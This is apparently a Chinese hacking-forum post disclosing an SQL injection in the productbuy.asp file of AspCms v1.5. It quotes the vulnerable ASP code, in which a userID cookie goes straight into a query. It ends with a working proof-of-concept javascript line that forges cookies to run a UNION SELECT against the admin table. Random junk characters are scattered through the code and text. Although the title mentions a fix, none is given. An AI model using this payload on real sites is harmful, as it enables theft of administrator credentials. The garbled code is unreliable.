AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
" X; I) P3 F7 k1 d+ v: Z废话不多说，看代码：

<%
5 d9 o2 C# [' g; l2 P- k; r
if action = "buy" then
0 p& q* m* B$ Y/ {. e# |0 g
1 J  D4 B# Z+ S% x7 H) \        addOrder()

% a  G( p+ ]) Velse

9 v* R. f6 O/ K) Q8 ]) l1 P$ B        echoContent()

end if
* Q- i6 x, x- J" g' P' N
( e# B2 \/ o$ a9 v
6 z) U$ D% g% Y# I* z& @" `, d
( d+ o& F, k5 Z) ^……略过
6 B1 ?4 S& h3 q4 }

. p" G* Z, n; j4 P% A& }. S
) v5 e) t( {- S+ q( |Sub echoContent()

* u4 ^9 H* v3 P4 K        dim id

( L6 L3 Z7 h/ W4 {6 a% u        id=getForm("id","get")
5 E' k1 j' y- B8 J. z
        

3 F; \/ p8 T3 m4 `% q5 |        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

3 o+ l$ Y0 `: P: W" G, e        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) ~: e. @- X3 k( b
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 B+ h0 x+ f- H
: K/ e% K  R6 W. V9 J7 Q        Dim templatePath,tempStr
) o% D& p8 j. [' X, q7 ?1 ~
7 a$ z4 M/ B1 K; l5 n+ Q  s        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

! i/ c  ~& e9 k% [6 `        selectproduct=rsObj(0)
# I8 c3 \2 t1 n. `2 f: F/ Z
. A* F$ G, ]1 z, D' E. k6 L: u' e        
9 n( y; a8 Y- d+ E% Y. L: b
/ P: Q: l, O( J        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
0 m3 k  `  ]2 t* I
; k, L2 o3 ~9 K! H5 h                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

) F0 l& m7 S  o* H: N- u- h                linkman=rsObj("truename")

                gender=rsObj("gender")

8 c$ A% x6 y* G7 Q8 D% J) ~                phone=rsObj("phone")
1 x: k9 E+ s" w6 O' R$ h7 x
                mobile=rsObj("mobile")

& l4 L: a1 w% Q3 f; a* X/ r: f( P7 e                email=rsObj("email")

+ @" J. [/ v' ?, v2 n                qq=rsObj("qq")
' _2 \% o1 U4 O' ?# z
- n1 s- N5 C5 \' x1 {6 d" z( I                address=rsObj("address")
- b7 v) Y" B* n( G6 @9 s3 a
                postcode=rsObj("postcode")
1 D; A9 i. S0 m; Z, y' b/ w6 m
% s/ S( T$ ~+ P  {+ |# Z        else

                gender=1
  @3 x* C; e0 O( B' h) S* J
% L, Y& F+ r  ?- F        end if

1 R5 p8 O+ M! Z) v+ t        rsObj.close()
& h5 L% S; q$ t6 E2 O+ s) d! n# [
0 \4 D. F- i, [4 R% U& j               

        with templateObj
3 i2 G6 V( Q" x0 n4 U$ S. f
                .content=loadFile(templatePath)        
& s3 Y/ y& v  y) D0 ?
) \0 `5 p6 m  {3 u: J  U+ Y                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
- b) ?# i, I, ~# J- Q# v
8 s8 C8 o! O, C0 E& V  M% X) L) ]/ ]                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
1 n+ k( [; t  a- x
0 q+ }: g7 X: a! h. ?                .content=replaceStr(.content,"[aspcms:gender]",gender)               
$ L- ?# h: M# u/ ^+ W
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

" A9 _5 \7 ]- v1 ~4 X9 {! E% `5 n                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
' e' {: R  H/ p' s0 U
                .content=replaceStr(.content,"[aspcms:email]",email)                        
! W6 q2 t- [5 I
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

! w% A/ f4 P, s/ ^. q9 S% O2 T                .content=replaceStr(.content,"[aspcms:address]",address)                        
0 W/ E+ x1 I6 L7 d, F
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
: H6 o! H" Y' y) j4 D+ p5 J
4 U/ D; L7 y" U) c! R( A  B                .parseCommon()                 
+ j* _7 h* d3 c8 K8 @: r
                echo .content
$ }6 [- j2 V: l+ d1 V; R
        end with
' r; |4 ~8 q" ], y7 s9 J
2 _- s& |% L; z        set templateobj =nothing : terminateAllObjects

End Sub
0 ]$ A; o+ _. c$ e漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
/ J& H! ]2 S8 h  t5 Q% g
5 l0 ]# S( b* @9 [+ y- H" V6 v& l3 N